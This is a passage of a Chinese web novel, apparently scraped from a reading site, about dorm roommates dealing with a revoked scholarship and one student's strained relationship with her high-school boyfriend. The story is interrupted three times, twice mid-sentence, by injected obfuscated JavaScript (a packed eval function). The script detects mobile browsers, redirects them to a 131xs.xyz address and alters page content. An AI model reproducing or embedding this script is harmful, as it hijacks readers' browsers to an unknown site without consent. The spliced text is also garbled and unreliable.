对沈镜选这门课,安若仪并不意外,但选课时,她在宿舍说了自己要选这门,沈镜那时候也在,却没应声。现在两人坐在同个课堂,多少有些别扭。沈镜在宿舍总是很沉默,两人同寝一年,真正独处的日子不多。可以用最熟悉的陌生人来形容两人,想到这点,安若仪很快释然她的有所保留。 “你也选这门啊?”安若仪打破沉默。 沈镜应声:“是的。有点感兴趣。” 第一堂课,老师以电视剧作为引子,告诉她们,这门学科在现实生活很神奇,但没有电视剧那般传奇。人的感情是最复杂的,微表情只是一种参考,并不是依据。 面对老师的解释,安若仪有些失望,又有些庆幸。 课后,她坐在位置上怅然若失。 沈镜提醒:“下课了。走呀。” 安若仪左手手肘拄在桌面,手背撑着侧脸,右手握着水笔在空白纸上画着不规则图形,交错重叠,一圈勾着一圈,一绕缠着一绕。 “喂!”沈镜抬手在她眼前晃了晃。 “你想什么呢?” 安若仪撇嘴:“你说能看懂一个人的心思是好还是不好?”这句话是在问沈镜,但她的眼神始终没离开那张画得乱七八糟的纸。 若是平时,沈镜会敷衍两句,抱书离开,今天后续没有课了,也还算空闲。背在身后的手抹过裙摆,坐回去,柔声开解:“你和男朋友在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664717|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵架?” 一语中的。 安若仪瞳孔震动,紧锁的眉头散着几分哀愁,但很淡很淡。片刻,像是默认地开口说:“你谈过吗?” 沈镜耸肩:“没有。” “今天我没其他课了。你想说的话,我可以陪你。你们两个人的事,我这个外人是插不上嘴的。但有时候说出来会轻松很多。” 安若仪故作轻松:“没什么。” “那回宿舍?” “好。” 路上,两人碰上孙思敏,她从综合楼下来,就她一个人。 安若仪招手。 孙思敏拉紧书包,奔向两人:“你们要回宿舍还是去食堂?” 安若仪说:“回宿舍叫餐。” “我也是。”孙思敏跟上。 安若仪往后看:“曲涵呢?” “她一下课就跑了,说要去图书馆。”孙思敏一手一个地挽着两人,把两人拉到身边,“你们有没有觉得曲涵最近很不对劲?” 安若仪的眉尾动了下:“呃。没有。” 沈镜微微摇头:“怎么了?” 孙思敏一会挠头,一会摸下巴,像个侦探:“说不上。这还没期末呢,她总往图书馆跑。” 安若仪说:“她申请了图书馆的勤工俭学岗。” “哦。是这样。”孙思敏似懂非懂地点头,很快又提出新疑问,“那也不对。她晚上回来,洗完澡,一头扎进床帘里,也不跟我们说话了。” “你们没觉得奇怪吗!”孙思敏尖声,还带着些许责怪,仿佛在说‘大家一个宿舍的,你们怎么一点不关心室友’。 怎奈两人仍是无动于衷。 沈镜摊手:“我没注意。” 安若仪淡淡的:“她不想说,咱们就别瞎猜。” 孙思敏只得作罢:“室长。我发现的事都告诉你了噢。后续出什么事,可别怪我没早提醒你们。” — 晚上,曲涵又是最后一个回宿舍的,甚至比昨天更晚,几乎是踩着熄灯时间了。 孙思敏沉不住气,拉开床帘:“图书馆早闭馆了,你去哪了呀?” “去操场散步。想减肥。”曲涵脱掉鞋子,换上拖鞋,毛巾往脖子上一挂,推进浴室,嘭地一声将她们想问的,她们的关心都关在门外。 孙思敏对着安若仪挤眉弄眼,用口型说:“是不是很奇怪!” 沈镜没加入讨论,但床帘开着,坐在床边,看着两人隔空打哑语。她注意到映在浴室门上的人影大了些,赶紧敲床铺栏杆,又重咳两声提醒。 孙思敏瞪安若仪示意她说话。 安若仪摆手。 孙思敏咬了咬牙,再次开口:“你以后别回来这么晚。好多处都没路灯,还有野狗野猫,要是不小心踩到它们,被咬了,被抓了,多不好呀。” “知道了。我去电子阅览室练习计算机二级的题。”曲涵边回答,边俯身去拿肥皂盒和洗衣盆。 孙思敏提议:“你就在宿舍洗呗。” 曲涵却说:“宿舍要熄灯了。我去洗衣房吧。” 嘭地一声,门又关上了。 孙思敏坐不住了,翻身下床,摇动安若仪的床铺:“你是室长,你快去问问呀。她一直用你的电脑,你俩关系好,你问,她会说的吧。” 安若仪应下,开门出去。 刚出去,宿舍灯就灭了,走廊的声控灯随着她的脚步声,一盏盏亮起,又一盏盏熄灭,一直到尽头的洗衣房。 洗衣房的也是声控灯。 这个时间,洗衣房只有曲涵。细细的流水声轻悄,叩不动声控灯,她站在昏暗的洗衣房,低着头揉搓着衣物。 安若仪陪着在昏暗中站了一会。 她说:“你是因为奖学金被取消的事难受吗?” 9. 104宿舍 话音刚落,两人头顶的声控灯滋啦一声亮起,照亮洗衣房,照亮两人的脸。曲涵拧着眉,眼中有震惊,有疑惑,但更多的还是难过。安若仪狭长的眼眸带着些许坚毅,握住她的手,把她拉到洗衣房外。 “我的衣服还没洗完。”曲涵还没准备好怎么谈论这个话题。 安若仪拆穿她的退路:“你的衣服已经漂洗好几次了。清水都倒掉两次了。”她走过去,拧干那两件被搓洗得皱巴巴的可怜衣服,拿晾衣杆撑着,举到晾衣间去晒。 手里没活,曲涵的眼睛彻底黯淡,不知所措地站在洗衣房门口。 洗衣房靠近宿舍,这个时间太安静了,针掉地上都听得一清二楚,安若仪拉着她往楼梯间走,还特意往下一层,避开同届同学。 “辅导员和我说了,让我注意你,开导你。我知道你不开心,我觉得大家都是成年人了,你应该能调解好,戳破反而会让你尴尬,所以我一直没说。两周了,你还是这样,思敏一直在问。” 安若仪只比曲涵大几个月,可这一年,她把宿舍事务管理得紧紧有条,像妈妈一样关心每个人,谁生日她都记得。知道的人是她,曲涵并不担心她会往外说,只是在好友面前,她更惭愧了,脸颊羞红,低着头。 安若仪拉着她的手:“这件事,你处理得不够好。但根上是你爸爸的错。你不要过于自责,要尽快回到正轨上。” “我知道。但我……难受嘛。” “唉……”安若仪忽然失语,两手垂下。背个处分,谁能开心。 安若仪另起话题:“这事除了咱们宿舍的,你还告诉谁了?” “很多。”曲涵撇嘴,“我好后悔。早知道就该听你的,现在这样,不上不下的,好尴尬啊。” 安若仪打断她的碎碎念:“有谁?” 曲涵掰着指头数。 “我天。你告诉半个班了。” “差……差不多吧。” “你有没有想过举报人就在这些人里?” 曲涵愣在原地,微张着嘴。 许久,她说:“为什么呢?我和她们无冤无仇啊。” “嫉妒呗。” “又不是国奖。她们考好也可以拿啊。” “小心点吧。” “嗯。” 熄灯许久,两人都没回来,孙思敏很担心,举着手机手电寻过来,在洗衣房没找到人,只有一个空的脸盆,她很自然地想到楼梯间,往下探头,看到两个熟悉的脑袋。 她举着手电招呼:“你俩说什么悄悄话呢!” 安若仪随口胡诌:“聊我的男朋友。”随后,带着曲涵上楼,曲涵去洗衣房拿回脸盆,跟在两人身后回寝室。 回到寝室,孙思敏也不放过安若仪,不断追问:“我也要听!” 沈镜探头:“听什么?” 孙思敏两手叉腰:“若仪在说她男朋友的事。”她爬上安若仪床铺的爬梯,挂在她床边,“你真不够意思。咱们住了一年,你都没告诉我们他的事。” 安若仪钻进被窝:“大小姐,快睡吧。” 孙思敏换个人攻略:“曲涵。你说。她是不是和男朋友吵架了?” 曲涵咽唾沫,支支吾吾的。 安若仪坐起来:“是的。我们吵架了。” “真的啊?”孙思敏愣住,这刻尴尬的人换成了她,赶紧闭嘴下床,老实爬回自己的床铺,默默盖上被子,当做无事发生。 不知过了多久,安若仪叹息,很长很长一声。 “要听吗?”她问。 “听!”孙思敏激动得在床上打滚。 曲涵举着手电筒:“你说!” 沈镜撩开床帘:“我也听。” 安若仪闭着眼睛,躺得安稳。她想了一会,不知道从哪开始说,把主动权交出去:“你们想知道什么?” 曲涵问:“他是你高中同学?” 沈镜问:“他现在在哪个大学?” 孙思敏问:“你们怎么开始的?” 安若仪陆续回答:“是。高中同学。他在我们本地上大学。” “开始吗?要怎么定义开始呢?” 安若仪陷入回忆…… — 安若仪和楚柏的故事很老套,像无数个烂俗青春小说的开头。 两个人初中同校不同班,安若仪是六班班长,楚柏是八班体委。 安若仪个子高,初中入学体检就有一米七,认识的男生没有比她高的。直到她在撞见楚柏,他同样是扎眼的高个子。 两人的第一次见面在年段办公室。 安若仪去交作业。 楚柏在班里打篮球,砸碎日光灯管,站在班主任办公桌边,低着脑袋挨训。 “打电话叫家长来一趟吧。”班主任说。 “我爸在外地出差。” “你妈呢?” “也在外地。” “啧。” “灯管钱我下午带来赔。” “那我也得和你爸妈说一声啊。”班主任拿手机出去,过了会,可能是没打通,脸上的怒气未消半点,但对他多出几分怜悯,耐着性子教导,“班上那么多同学,这玻璃渣子要是割伤人怎么办?以后不能在班级打篮球。知道了吗?” “知道。” “老师。那我……”楚柏抱着篮球要走。 班主任拦下他:“罚你下节体育课不许上。就在这写题。” “啊?” “啊什么!”班主任拍他脑袋,“在这好好写。把这道题解出来,你就可以去上体育课了。” 班主任指着数学卷的最后一道大题。 楚柏挠头:“您这不是为难我嘛。” “哪有。”班主任讥讽,“我这是鼓励你,相信你可以。” 恰巧那节课,六班是自习课,安若仪要参加一个作文赛,文章已经写好了,她坐在班主任的办公桌边,用电脑将文章电子化。 妈妈担心她近视,家里的电脑设置了未成年模式,只有周末能用,每次只能用一小时。有限时间里,她都拿来打游戏,没怎么练习打字。 她一会抬头,一会低头,打得很慢。 两人挨着坐。 滴滴答答的键盘敲击声钻进楚柏耳朵。 他说:“你小点声。打断我思路了。” 安若仪不客气地回呛:“本来你也写不出来。” 楚柏啧声,不耐烦地转头,目光落到她身上,却没了声音。许久,他把试卷推到她那侧,低声下气地:“咱俩做个交易。” “什么?”安若仪眼皮不抬,专注码字。 楚柏说:“我帮你打作文。你帮我写题。” 安若仪对这个提议嗤之以鼻:“我能打完,只是慢一些,而且我现在不着急。但你的题你自己是完不成的。这个交易对我有什么好处?” 楚柏不屑地‘切’一声,扭头写题。 窗外,几个上体育课的班级吵吵闹闹的,热身跑圈结束,已经开始自由活动。有个男生趴在窗边,朝办公室里喊:“楚柏。楚柏。要不要来打球啊?” 楚柏不耐烦地摆手:“一会的。” 男生悻悻离开。 楚柏又戳了戳安若仪:“你帮帮我,不行吗?” “你不是班长吗?!” “我不是你的班长。” “啧。”楚柏拍胸脯,“算我欠你个人情。以后有用得上我的,尽管吩咐。八班楚柏,任凭差遣。只要你帮我写这道题。” 安若仪早听过他的名号。她是荣誉榜上的常客,楚柏也是,他是田径队的,拿过市运会的冠军,每次放学都一堆人去操场看他训练。 她没什么需要楚柏帮忙的。 只是觉得他在旁边很烦,拿过笔,带着治病救人的念头给他讲题,楚柏的成绩不如她,但也不是很差,她讲了两遍,他听懂了。 “谢啦。我会了。”楚柏写完,拍她肩膀,示意她让位,“我帮你打。我打字快。” 安若仪婉拒:“不用。你去打球吧。别在这吵我。” 楚柏又切了一声:“我走。”临走不忘戳戳她的桌子,重复一次,“八班楚柏,任凭差遣。” 两人就这么认识了。 安若仪好像从来没告诉他,自己的名字,在哪个班,但他知道。那次以后,时不时地会路过他们班,远远地和她打个招呼。 朋友惊讶地问:“你认识楚柏?” 安若仪摇头:“不认识。荣誉榜上互相见过名字。” 楚柏是田径队的,也算有点成绩,但要往专业上走,这点天赋就捉襟见肘了。最终没走体育生这条路,正常地参加升学考。 他成绩一般,只去了普通中学。 家里有钱,父亲找门路,拿到重点高中寄读名额。 他又和安若仪成了同校同学。 周一到周五, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664718|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人在同个高中读书,周末又在同个补习班上课。低头不见抬头见,安若仪想装作没看到都不行,只能浅浅打个招呼。 楚柏不在乎她的冷漠,每次见面都喜笑颜开地凑上来,喊她‘班长大人’,哪怕她一天也没当过他的班长。 接触得多,安若仪终于知道他的家庭情况。 两个人的家庭情况恰好相反,楚柏的父母都是生意人,忙得脚不沾地,他只能在家和保姆阿姨大眼瞪小眼。楚柏打趣说有次去公司找他爸给试卷签名,到公司楼下,前台竟然问他有没有预约。 “你敢信?!我见他竟然要预约!” “所以呢?”安若仪好奇,“你最后见到了吗?” “见到了。”楚柏继续说,“我给他打电话没打通,和前台说,他是我老子,我是他儿子,前台的内线电话打过去,打通了,他下来了,给我的试卷签字,带我去公司食堂吃饭,然后安排司机送我回家。” “你爸还是关心你的。” “确实。但他太忙了。” “我也希望我爸妈这么忙。” “啊?” 安若仪笑笑,没说话了。 她的父母都在事业单位工作,朝九晚五,作息十分规律。父母本身是高学历,对她的要求近乎严苛。 这种严苛不止是学业上的,是生活方方面面的。 母亲亲手为她制作了时间表,精确到小时。每个小时要做什么事,都是规定好的,她不可以看动漫,不可以挑食,不可以晚睡晚起。 甚至,她的朋友圈都是父母筛选过的。 他们坚信近朱者赤近墨者黑,所以不许她和学习差的同学来往,不许她和散漫莽撞的人来往。 在父母的观念里,楚柏就属于不可来往的那类。 可她认识楚柏的事没有人知道。 她没有楚柏的联系方式,只和他在学校、在补习班见面,是她朋友圈之外的‘朋友’。 她不知道两人算不算朋友。 但她确实会和楚柏倾诉很多烦恼,两人的朋友圈零交集,不用担心他泄密,也不需要他出谋划策,他只要安静地听着。 安若仪会抽烟这件事,楚柏是第一个知道的。 他很震惊,像吞了只□□,嘴巴张得特别大,久久愣在那。高个子本来就像电线杆,他这么一动不动地站着,显得更呆了。 安若仪踹他一脚:“傻了?” “你怎么?” “哦。”安若仪手指动了动,抖落烟灰,用力往湿纸巾上一按,再包起来,丢进垃圾桶,“我会啊。怎么了?” “有点意外。” “嗯。” “不好。别抽了。” 楚柏说:“我爸也抽烟。但那是生意场上的交际应酬。你又不做生意。” “少管我。”安若仪说。 那次以后,两人半学期没说话。 再说话,是期末考后的雨天。 安若仪没考好。 不,应该说是她很认真,分数也还算可以,但没有达到父母的期待值。 她知道回家会挨批,借口补习班要补课,撑着伞,饿着肚子,走了三公里,站在大门紧闭的补习班门口。 陪着她一起来的还有楚柏。 “我不想回家。”她说。 他问:“那你想去哪?” “你周末都去哪?” “电子城。” 两人去电子城打电动。楚柏摸出一包烟,捏出一根叼在嘴边。 安若仪说:“你也会。” “很奇怪吗?” “不奇怪。” 楚柏抽了一口,咳嗽连连。 安若仪拿过来,也吸了一口,然后按灭在湿纸巾上,这次她不止把那根烟扔了,将书包里剩余的那包也丢掉。 “你不抽了?” “嗯。” — “所以你们是谁表白的?”孙思敏追问。 安若仪说:“没有谁。就很自然地在一起了吧。高考后在一起的。” “那为什么吵架呢?”曲涵不理解,从她说的故事里,找不到任何可以吵架的点,“楚柏对你不好吗?” “挺好的。” “所以?” “就……” 安若仪叹息:“不知道。我和他其实没什么共同点。” 孙思敏诧异:“那你为什么要答应他?” 10. 104宿舍 回答孙思敏的是一阵长久的沉默。 久到她们以为安若仪睡着了。 曲涵知道她不想回答,巧妙地换了问题,也顺着近况安慰:“你们最近一直在煲电话粥,多沟通交流一下吧。” 安若仪说:“打电话是他要求的。暑假,他有约我出去玩,我都说没空。” “你想和他分手了?”沈镜问。 安若仪摇头:“那倒没有。” “那你想干嘛?”孙思敏不解。 安若仪淡淡的:“我希望他和我一样。” “一样什么?”曲涵追问。 “没什么。” 话题说到这里,又进入一个新的死胡同。安若仪不想再聊下去了,翻了个身,拉紧被子:“很晚了。明天还要上课。睡觉吧。” — 齐雪薇考虑到本学期的特殊情况,特意在学生群里发了一条消息说奖学金的评选方式要考虑综测,学院重新计算了分数,重新拟定了名单,落选的同学不要气馁,继续努力。 这样既公示了名单,又不会让曲涵尴尬。 曲涵知道这是特意为她考虑的,非常感恩。 半学期过去,随着忙碌的学业和更紧密的兼职安排,曲涵很快忘却烦恼,恢复往常的开朗。 曲涵的问题解决了,安若仪没有。 煲电话粥没有从根本解决两人的矛盾。 微表情心理课的结课考安排在第十一周,开卷考,不允许带教材和PPT复印件,只能带笔记。许多人在这周狂补笔记,安若仪和沈镜也不例外,两人的笔记已经很完善了,但为了高分,恨不能把整本教材抄进笔记。 两人在图书馆互换笔记,补充重点。 沈镜的手机在桌面震动,但她仍埋头于笔记教材,手上的笔一刻不肯停。 安若仪瞥了眼,看到屏幕一闪而过的群消息。那个群头像和名称特别眼熟,好像在哪见过。到底在哪呢? 安若仪放下笔,捧着脑袋想。 她想起来了,是在楚柏的手机里。之前开玩笑说要查岗,楚柏就开了屏幕共享让她看。那个群是一个全国大学生创业比赛的群,群里的大学生来自五湖四海。 楚柏被一个学长拉进创业团队,负责logo设计,他抱怨过那个学长很多事,做了好几版都不满意,又不告诉他哪里不满意。 沈镜也参加了? 安若仪在想事,落在手机屏的目光没有及时收回。 在沈镜那侧看来,对方正在死死盯着她的手机。她伸手,手掌遮住屏幕的那刻,安若仪的肩膀抖动,猛然清醒:“你有群消息。” “哦。”沈镜划开,回复消息。 沈镜主动说:“成州理工楚柏,是你男朋友吧?” “是。” “他在群里。我看到了。” “嗯。” “你参加创业大赛了?” “学姐的项目,我只是去帮忙的。” “什么项目呀?” 安若仪实在好奇,忍不住问出口,见沈镜愣住,自觉不好地摆手:“我不问了。” 沈镜说:“是一个计算食物热量的软件。拍照食物上传软件,就能计算出热量,并自动记录归档。很适合减脂期的人和健身达人。学姐的创意,计算机的学长编程,我和另一个女生负责收集各种食物的热量。” “哇。是个很好的创意啊。” “是啊。” “你的笔记我用完了。”沈镜交还笔记本。 “好的。我还差一点。你等一等我。”安若仪低头,奋笔疾书。 沈镜悄无声息地坐到她身侧,拿着书,一边翻,一边找话题聊:“他在群里很少说话。” “哦。” “你对他哪里不满意啊?” “啊?” 安若仪的笔顿了顿。 沈镜根据楚柏在群里的态度猜测:“你是觉得他不够努力吗?” 安若仪背脊冷汗直冒,但没回话,眼睛滴溜溜地转,疯狂头脑风暴,想着要怎么回答。 “学长@他,他都不怎么回复,之前还在群里吵架,创业提案也是压着期限交。我看过他们团队提交的方案,颇为粗糙啊。” 沈镜说的每一句都像刀子扎在安若仪心上。 楚柏做的那个方案,她也看过,一点不用心,明显是网上下载的模板,再往里填充自己的东西。他给她的初版,甚至没把前人的东西删除干净,她提醒,他才慢吞吞地删除。 初高中时期,每天都有作业,月考期中考期末考,一关压着一关,身边同学恨不能一天掰成两天用地勤学苦读,在那种氛围下,任何人都只有奋进这条路。 到了大学,课余时间很多,人与人的差别在这刻显现。 考研、考证、考公、考编是四座立在安若仪面前的高山,她要一座座跨越。 楚柏的大学生活却过得很混沌。 两个人煲电话粥,更是放大两人之间的矛盾,安若仪很想知道他一天都在干嘛,但又不想听到不符合她期望的答案。她不喜欢妈妈插手她的生活,所以也不想去干涉楚柏的自由。 可他真的太懒散了。 创业大赛是很好的机会,但他说只是个不入流的比赛,谁都能去,他不感兴趣,欠学长人情,所以才加入团队。不止他,团队其他人也很懒散,资料都是四处复制来的,不审核,不检查,想用最短时间混个参加的经历填简历。 两个人不是一路人却被迫走在一条路上。 这刻,沈镜的刀子割开表面和谐,扎到大-动-脉,直击痛点。这是安若仪最不愿意面对的,他的懒散被室友瞧见,安若仪脸上也没光。 她咬紧牙关,觉得好丢脸,在心底反问自己为什么要和楚柏交往。 安若仪的脸颊涨得通红。 沈镜拍拍她肩膀:“你有什么烦恼可以跟我说。说出来就轻松了。” 安若仪摇头:“我和他的事,我会处理好的。” “你有想考研吗?”沈镜忽然凑近。 话题转换得好快,安若仪一时没反应过来,愣愣地点头,随即补充:“我没想好。应该会吧。” 沈镜大方道:“我要考。” “我猜到了。你一直在图书馆学习嘛。” “你要考哪里?” “呃……” 安若仪有理想院校,但不想这么快告诉别人。尤其是知道曲涵被举报的事以后,她对整个学院的同学都充满恐惧,不知道谁会是那个表面笑嘻嘻,背地里捅刀子的笑面虎。 沈镜坦诚相告:“我想考回家。” “是嘛。回家好呀。” “对啊。来外地上学不习惯,春运要抢火车票好麻烦,考回去离家近了,也好就业。你说是不是呀?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664719|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对。” “你呢?” 沈镜的眼睛扑闪,像块透明的水晶,真诚无比,安若仪从她的眼睛里看到鄙陋的自己。 她是不是把人想的太坏了? 这一年的相处,沈镜并不是小气的人,每次聚餐,她都是第一个转钱给她的,宿舍卫生打扫她从不马虎。有次安若仪在经期,肚子疼,是沈镜替她做的值日,又下楼给她买了碗红糖鸡蛋。 安若仪说:“我想考海和大学。” 沈镜问:“你以后要留在这工作吗?” “我也想过考回家。但我们省的大学还不如本校呢。”安若仪托着脑袋思考,“还有两年,说快也挺快的。我不一定考研,读研是为了就业,化学专业能报的岗位有限。我不想离家太远。如果到时候我家那的公务员岗位有适合的,我要先准备考公。” 沈镜哗啦啦地翻书,对着笔记照着念:“我看看。你眼神坚定,额角没有出汗。嗯。没有说谎特征。” 安若仪被她的话逗笑,推她肩膀一下:“去你的。竟然拿这个来测试我。” “对啊。现学现用嘛。”沈镜笑着交出笔记,扬起脸,“轮到你啦。你看看我有没有说谎。” 安若仪随便瞟了几眼说:“没有。我相信你。” “你没必要对我撒谎。”她说。 沈镜只笑了笑。 ~ 两人挽着手回寝室,孙思敏和曲涵同样醉心于笔记,在准备下周的选修结课考试。她们选的是名著文学,同样是开卷考,除了电子产品,不限制书籍和材料。但她们涉及的书籍太多,两人在一堆资料上贴标签,方便查找。 安若仪按着孙思敏的肩膀:“真少见。这个时间点,大小姐竟然没有贴面膜。” “啊!对啊!”孙思敏从椅子上跳起来,拿着脸盆冲进浴室洗漱,擦干净脸,再敷上面膜,动作熟练,一气呵成。 曲涵无语:“后天就要考试了!你少贴两天面膜有什么关系!你已经很好看啦!大小姐!” 孙思敏小心贴膜:“我知道我好看。这个时间点是皮肤最累,又最好吸收的时候,不能错过的。考试的材料今天弄不完,还有明天嘛。” 说着,她竟然唱起来:“相信自己!喔~喔~” 忽然,她掉转话头:“室长,你今天不和男朋友煲电话粥吗?你好像有一段时间没打给他了吧?” “我要准备期中考啊。最近哪有时间。” “你手机没带。他可是打了不少电话给你。”孙思敏指安若仪的书桌堂。 曲涵附和:“你的手机在里面响个不停。” 安若仪想专注学习,是故意不带去图书馆的,交谈这刻,手机又在响,她拉开抽屉,果然是楚柏打过来的。 她划开接听,草草应付:“嗯。我刚去图书馆没带手机。好。我知道。要期中考了。我最近很忙。先挂了。拜。” 挂断电话,切换到静音模式:“静音了。不会吵了。抱歉啊。吵到你们了。” 曲涵摇头:“没事。” 孙思敏说:“你对他好冷酷哦。他好可怜。” 安若仪不屑:“他天天都潇洒着呢。有什么可怜的。” 孙思敏揽着她的肩膀出馊主意:“知道你对他不满意。那咱们就骑驴找马。下个月,我们学生会和海和大学要举办一场联谊会,我带你去认识新男人啊!”